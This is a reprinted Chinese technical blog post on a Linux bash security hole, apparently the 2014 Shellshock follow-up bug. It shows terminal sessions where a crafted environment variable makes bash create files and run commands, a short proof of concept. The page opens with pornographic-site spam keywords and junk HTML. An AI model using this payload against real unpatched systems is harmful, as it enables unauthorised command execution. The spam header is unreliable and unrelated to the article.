在线看毛片网站电影-亚洲国产欧美日韩精品一区二区三区,国产欧美乱夫不卡无乱码,国产精品欧美久久久天天影视,精品一区二区三区视频在线观看,亚洲国产精品人成乱码天天看,日韩久久久一区,91精品国产91免费

<menu id="6qfwx"><li id="6qfwx"></li></menu>
    1. <menu id="6qfwx"><dl id="6qfwx"></dl></menu>

      <label id="6qfwx"><ol id="6qfwx"></ol></label><menu id="6qfwx"></menu><object id="6qfwx"><strike id="6qfwx"><noscript id="6qfwx"></noscript></strike></object>
        1. <center id="6qfwx"><dl id="6qfwx"></dl></center>

            新聞中心

            EEPW首頁(yè) > 嵌入式系統(tǒng) > 設(shè)計(jì)應(yīng)用 > 一個(gè)linux下的bash安全漏洞

            一個(gè)linux下的bash安全漏洞

            作者: 時(shí)間:2016-09-12 來(lái)源:網(wǎng)絡(luò) 收藏

              1. 通過設(shè)置一個(gè)特殊的環(huán)境變量的env,能間接地查到到linux命令的屬性,如下:

            本文引用地址:http://www.biyoush.com/article/201609/304528.htm

              [2014-09-27 13:00:54 david@davidcchen ~]$ ls -l date

              ls: cannot access date: No such file or directory

              [2014-09-27 13:01:13 david@davidcchen ~]$ env -i X='() { (a)=>' bash -c 'date'

              bash: X: line 1: syntax error near unexpected token `='

              bash: X: line 1: `'

              bash: error importing function definition for `X'

              [2014-09-27 13:01:21 david@davidcchen ~]$ ls -l date

              -rw-rw-r--. 1 david david 0 Sep 27 13:01 date

              [2014-09-27 13:01:27 david@davidcchen ~]$

              2. 一次運(yùn)行環(huán)境變量。

              [2014-09-27 13:01:27 david@davidcchen ~]$ zsh --version

              zsh 4.3.10 (x86_64-redhat-linux-gnu)

              [2014-09-27 13:03:24 david@davidcchen ~]$ bash --version

              GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)

              Copyright (C) 2009 Free Software Foundation, Inc.

              License GPLv3+: GNU GPL version 3 or later

              This is free software; you are free to change and redistribute it.

              There is NO WARRANTY, to the extent permitted by law.

              [2014-09-27 13:03:31 david@davidcchen ~]$ env X='() { (a)=>' bash -c echo date; cat echo; rm echo

              bash: X: line 1: syntax error near unexpected token `='

              bash: X: line 1: `'

              bash: error importing function definition for `X'

              Sat Sep 27 13:03:52 CST 2014

              ---------->成功運(yùn)行date命令

              [2014-09-27 13:03:52 david@davidcchen ~]$



            關(guān)鍵詞:

            評(píng)論


            相關(guān)推薦

            技術(shù)專區(qū)

            關(guān)閉